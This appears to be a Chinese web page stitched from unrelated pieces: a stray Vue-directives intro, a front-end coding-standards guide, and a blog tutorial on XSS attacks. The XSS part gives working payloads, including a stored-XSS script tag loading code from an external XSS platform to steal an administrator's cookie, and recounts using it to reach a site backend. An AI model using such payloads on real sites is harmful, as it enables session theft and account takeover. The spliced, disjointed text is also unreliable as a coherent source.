指令 (Directives) 是带有 v- 前缀的特殊属性,在此之前我们学习过的指令如下所示:
本节我们将会介绍更多的vue指令。
通过v-if和v-show指令可以控制元素的显示与隐藏,区别如下:
下面我们通过事件来控制元素的可见性。
以下是一个标准的html结构
html复制代码<!DOCTYPE html>
<html>
<head>
<!-- 必须声明 utf-8 编码格式 -->
<meta charset="utf-8">
<!-- 页面标题不能为空 -->
<title>京东商城:商家后台</title>
<!-- 移动端必须使用 viewport 适配需要, PC 看场景需要使用 -->
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<!-- 样式文件 以外链形式在此处引入 -->
<link href="//static.360buyimg.com/bus/test/shop1_3/UI2.0update.css" rel="stylesheet">
</head>
<body>
<!-- 页面主体 -->
<div class="warp">
<header>顶部内容区域,比如:菜单头</header>
<div class="content">主内容区域</div>
<footer>顶部页尾区域,比如:备案号</footer>
</div>
<!-- js文件 在此处引入 -->
<script type="text/javascript" src="//wl.jd.com/joya.js"></script>
</body>
</html>
避免多个框架混合使用,在同一个工程里面要保持主框架的一致性,多框架同时使用会造成代码混乱,后期会变得越来越难维护。
1、全局样式禁止使用!important
2、避免使用导入式引入css样式文件;
css复制代码<style type="text/css">
@import url(./demo.css);
</style>
历史页面会有一些功能下线,在去除页面初始化的js语句的同时,也要将依赖的js文件删除,避免资源加载浪费
开启Gzip压缩功能, 可以使网站的css、js 、xml、html 文件在传输时进行压缩,提高访问速度
在开发过程中,发现无用字段占传输比例30%以上时,请进行返回数据的删减,加快数据请求速度
上传图片之前一定要做图片的无损压缩,节省网络流量,推荐网站tinypng
html复制代码<!DOCTYPE html>
<html>
<head>
<!-- 必须声明 utf-8 编码格式 -->
<meta charset="utf-8">
<!-- keywords 关键词 和 Description 页面描述 便于搜索引擎检索,不强制使用 -->
<meta name="Keywords" Content=”关键词1,关键词2,关键词3,关键词4″>
<meta name="Description" Content=”页面描述″>
<!-- 移动端必须使用 viewport 适配需要, PC 看场景需要使用 -->
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
<!-- 推荐手动引入指定路径 favicon -->
<link rel="shortcut icon" href="path/to/favicon.ico">
<!-- 样式文件必须以外链形式在此处引入 -->
<link href="//static.360buyimg.com/bus/test/shop1_3/UI2.0update.css" rel="stylesheet">
<!-- 内联样式 -->
<style type="text/css">
.warp {
margin: 0;
padding: 0;
}
</style> -->
<!-- 页面标题不能为空 -->
<title>页面标题</title>
</head>
<body>
<!-- 页面主体 -->
<div class="warp">
<header>顶部内容区域,比如:菜单头</header>
<div class="content">主内容区域</div>
<footer>顶部页尾区域,比如:备案号</footer>
</div>
<!-- JavaScript 文件在此处引入 -->
<script type="text/javascript" src="//wl.jd.com/joya.js"></script>
</body>
</html>
原生 HTML 标签元素小写使用,自定义组件使用小驼峰命名(自定义标签避免和原生标签同名)
html复制代码<!-- 错误 ? -->
<DIV></DIV>
<SPAN></SPAN>
<!-- 正确 ? -->
<div></div>
<p></p>
<!-- 自定义组件 -->
<shareDialog><shareDialog/>
禁止在行内元素中嵌套块级元素??
html复制代码<!-- 错误的嵌套 ? -->
<span><div></div></span>
<i><p></p></i>
<!-- 正确的嵌套 ? -->
<div><span></span></div>
<p><i></i></p>
更多标签使用规则介绍请查看尾部附录
定义属性赋值时,使用双引号,禁止单双引号混用
html复制代码<!-- 错误的定义 ? -->
<input id="formTitle" type='text' placeholder="请输入标题">
<!-- 正确的定义 ? -->
<input id="formTitle" type="text" placeholder="请输入标题" data="formTitle">
除自闭合标签外,所有标签都需正确的编写闭合标签
常用自闭合标签: <br />、<col />、<img />、<input />、<link />、<meta />、<keygen />
ID 和 Class 取通用且有意义的名字;
使用连字符 - 作为 ID、Class 名称界定符 ,不要驼峰命名法和下划线;
避免选择器嵌套层级过多,尽量少于 3 级;
使用命名空间防止命名冲突,利于维护;
css复制代码/* 不推荐: 无意义 不易理解 */
#yee-1901 {}
#meunBtn {}
.login_input {}
/* 推荐: 明确详细 */
#gallery {}
#login {}
.login-input {}
.meun-btn {}
css复制代码/* 标准的声明顺序 */
.declaration-order {
/* 布局属性 */
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
z-index: 100;
/* 盒模型属性 */
display: block;
box-sizing: border-box;
width: 100px;
height: 100px;
padding: 10px;
border: 1px solid #e5e5e5;
border-radius: 3px;
margin: 10px;
float: right;
overflow: hidden;
/* 文本属性 */
font: normal 13px "Helvetica Neue", sans-serif;
line-height: 1.5;
text-align: center;
/* 视觉属性 */
background-color: #f5f5f5;
color: #fff;
opacity: .8;
/* 其他属性 */
cursor: pointer;
}
<img/>标签守则
html复制代码<!-- 禁止 src 取值为空 -->
<img src="" />
<!-- 推荐 -->
<img src="xxxx" alt="xxx" style="width:100px;height:100px;" />
尺寸 小于 50 ×?50 的请使用 字体图标(iconfont)或者 将多个图标合成一张大图使用(雪碧图) 尺寸大于 50 ×?50 的图片,引入前先使用 在线压缩 对其进行压缩 ,图片大小尽量控制在 300kb 以内
PC端、移动端 推荐使用 2倍图 (@2x),避免设备分辨率过高,图片显示失真模糊 如有兼容 iPad 场景等特殊场景,可使用 3倍图(@3x)
html复制代码<img src="//logo@200x200.jpg" alt="xx" style="width:100px;height:100px;"/>
2倍图: 图片展示区域大小 : 图片实际尺寸=1 :2
无论使用几倍图,图片大小都需遵守上条限制
如遇图片倍图问题,可咨询 @UI童鞋
js复制代码/* 推荐用变量保存频繁使用的 DOM 元素*/
var ul=document.getElementsByTagName('ul')[0],
lis=document.getElementsByTagName('ul')[0].getElementsByTagName('p')
/* 推荐用变量保存频繁使用的 DOM 元素*/
var ul=document.getElementsByTagName('ul')[0],
lis=ul.getElementsByTagName('li')
1个页面中建议CSS文件不要超过3个(1个组件库样式文件、1个项目公共样式、1个页面样式); JS文件不要超过5个(1个框架文件、1个组件库文件、1个项目公共库文件、1个页面脚本文件、1个埋点文件)。
缩进使用 2个空格 样式建议引入 CSS reset 重置各浏览器自带样式差异 github.com/necolas/nor… JS 中字符串定义 使用 '' 单引号
保持一定的代码洁癖,尤其在大型项目中
性能检测工具 - Lighthouse简介 Lighthouse是一个Google开源的自动化工具,主要用于改进网络应用的质量。Lighthouse会对各个测试项的结果打分,并给出优化建议,这些打分标准和优化建议可以视为Google的网页最佳实践。
Chrome拓展程序 谷歌商店安装lighthouse后,在右上角或者菜单里点击图中图标,Options可以配置测试项目,点击Generate report即可测试。
命令行
js复制代码<!-- 安装 lighthouse 组件(Node.js V5.0 或以上版本) -->
npm install -g lighthouse
<!-- 启动测试 (测试过程中会自动打开 Chrome 完成后会在当前目录生成一个静态HTML文件) -->
lighthouse https://www.baidu.com/ --view
<!-- 帮助-->
lighthouse --help
检测结果
标签 | 语义 | 嵌套常见错误 | 常用属性 |
<a></a> | 超链接/锚 | a不可嵌套a | href,name,title,rel,target |
<div></div> | 块级容器 | ||
<p></p> | 段落 | 不能嵌套块级元素 | |
<span></span> | 内联容器(行内元素) | 不可嵌套块级容器 | |
<form></form> | 表单 | action,target,method,name | |
<input /> | 输入框 | 不可嵌套元素 | type,name,value,checked,disabled,maxlength,readonly,accesskey |
<textarea></textarea> | 多行文本输入控件 | name,accesskey,disabled,readonly,rows,cols | |
<img /> | 图像 | 不可嵌套元素 | alt,src,width,height |
<label></label> | 标签(常用input元素定义标注) | 不可嵌套块级容器 | for |
<table></table> | 表格 | 只可嵌套表格子元素 | width,align,background,cellpadding,cellspacing,summary,border |
<tbody></tbody> | 表格主体 | 只能嵌套在table内 | |
<thead></thead> | 表头 | 只能嵌套在table内 | |
<tr></tr> | 表格行 | 嵌套于table或thead、tbody、tfoot | |
<td></td> | 表格中的单元格 | 只用于tr | colspan,rowspan |
<th></th> | 表格中的标题单元格 | 只用于tr | colspan,rowspan |
<tfoot></tfoot> | 表格表尾 | 只用于table | |
<button></button> | 按钮 | 不可嵌套表单、表格等块级元素 | type,disabled |
<select></select> | 列表框或下拉框 | 只能嵌套option或optgroup | name,disabled,multiple |
<option></option> | select中的一个选项 | 只能嵌套在select内 | value,selected,disabled |
<ol></ol> | 有序列表 | 只能嵌套li | |
<ul></ul> | 无序列表 | 只能嵌套li | |
<li></li> | 无序列表项 | 只能嵌套在 ul 或 ol 内 | |
<iframe></iframe> | 内嵌一个网页 | frameborder,width,height,src,scrolling,name | |
<br /> | 换行 | ||
<link /> | 引用样式或icon | 不可嵌套任何元素 | type,rel,href |
<meta /> | 文档信息 | 只用于head内 | content,http-equiv,name |
<script></script> | 引用脚本 | 不可嵌套任何元素 | type,src |
<style></style> | 引用样式 | 不可嵌套任何元素 | type,media |
<title></title> | 文档标题 | 只用于head内 |
点赞收藏支持、手留余香、与有荣焉,动动你发财的小手哟,感谢各位大佬能留下您的足迹。
作者:StriveToY
链接:https://juejin.cn/post/7262378982255394873
随着互联网的不断发展,web应用的互动性也越来越强。相应的,在用户体验提升的同时安全风险也会跟着有所增加。今天,我们就来讲一讲web渗透中常见的攻击方式之一,XSS攻击。首先需要了解他是如何工作的,以及我们如何利用xss。
XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫XSS,中文名叫跨站脚本攻击。
特点:凡是存在输入框的地方,都可能存在XSS漏洞。
精髓:先闭合,再构造
首先,我们要明白,XSS是利用javascript脚本语言实现的。
简介:是一种属于网络的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。
Javascript的一些语法常识:
①html中的脚本必须位于<script>与</script>标签之间;
②脚本可被放置在html页面的<body>和<head>部分中;
③语句里面的;(分号)用于分隔javascript语句,使用分号可以一行中编写多条语句;
④javascript对大小写敏感;
⑤javascript会忽略多余的空格;
⑥可以在文本字符串中使用反斜杠对代码进行换行。
那么,基本的理解了,下面开始讲解利用~
XSS攻击目前主要分为三种:
1、反射型XSS
2、存储型XSS
3、DOM型XSS
简介:当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
精髓:向web页面注入恶意代码;这些恶意代码能够被浏览器成功的执行。
反射型经典的XSS语句:<script>alert(“feizhu”)</script>
反射型XSS包括:get类型,post类型。
GET类型:
一般就是直接在url后面插入,或者搜索框插入。
建议抓包看一下,在插入的位置闭合前面的标签。
下面这个网站输入的什么输出的就是什么,所以不需要做闭合标签,如图:
Ok,成功弹窗,说明有XSS存在,很多人认为这个危害不大呀,那只说明你懂的太少,xss利用javascript中的document对象方法可以把它发挥到极致。
例如制作钓鱼网页获取cookie:
POST类型:
原理跟get一样,只不过是以post类型传参,重点也是先闭合标签,再构造payload。
这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。 ~
简单的说:此类XSS是存储再数据库的,意思就是如果网站存在存储型XSS,那么就可以打到管理员的cookie。其实cookie就是账号跟密码的存储值,有了它,就可以直接登陆网站后台,从而越过账号密码登陆。
我只说一下打管理员cookie:
利用较多的就是留言板,即可以让网站管理员看到你输入到服务器XSS语句的地方,这个思路很多,我只说常见的一种。
利用:利用现成的XSS平台,或者自己搭建一个可以接受XSS的平台,现在网上源码也有很多,根据需求自己搭建。
我们在XSS平台生成用于测试的XSS语句,然后写到留言板提交。
语句:<script src=https://xsspt.com/tmbUTD></script>
好,可以看到成功插入,并未有任何过滤。
接着咱们看XSS平台是否收到cookie。
可以看到,成功拿到管理员的cookie,凭借这个就可直接登陆网站后台。
当然实战中是不可能这么快拿到cookie的,这个是看管理员什么时候查看该留言,才可以获取到的。
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
特点:不需要服务器解析,触发XSS靠的是浏览器端的DOM解析。
这个类型的XSS我前天在某src挖到了一个,简单说一下,这类的XSS你需要掌握javascript的document对象的众多方法,我也是简单了解一点~
有你了解的攻击方式吗?可以在留言区交流哦,喜欢的伙伴们记得添加我们的订阅号secdeer~快动一动小手,分享给身边的小伙伴吧~
*请认真填写需求信息,我们会在24小时内与您取得联系。